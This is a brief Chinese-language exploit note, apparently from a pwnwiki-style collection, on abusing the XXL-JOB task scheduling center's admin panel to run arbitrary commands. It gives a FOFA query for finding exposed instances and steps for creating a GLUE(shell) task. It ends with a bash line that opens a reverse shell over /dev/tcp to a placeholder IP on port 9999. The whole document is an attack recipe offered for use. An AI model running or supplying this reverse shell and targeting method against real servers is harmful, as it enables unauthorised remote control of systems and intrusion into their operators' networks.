XXL-JOB_任務調度中心_後台任意命令執行漏洞

# XXL-JOB 任務調度中心 後台任意命令執行漏洞
==FOFA==

app="XXL-JOB" || title="任务调度中心"

==漏洞利用==
登錄後台增加一個任務:


注意運行模式需要為 GLUE(shell)


點擊 GLUE IDE編輯腳本



執行探測出網，和任務調用是否可執行

反彈一個shell

#!/bin/bash
bash -c 'exec bash -i &>/dev/tcp/xxx.xxx.xxx.xxx/9999 <&1'

==參考==
https://short.pwnwiki.org/?c=PaRcxf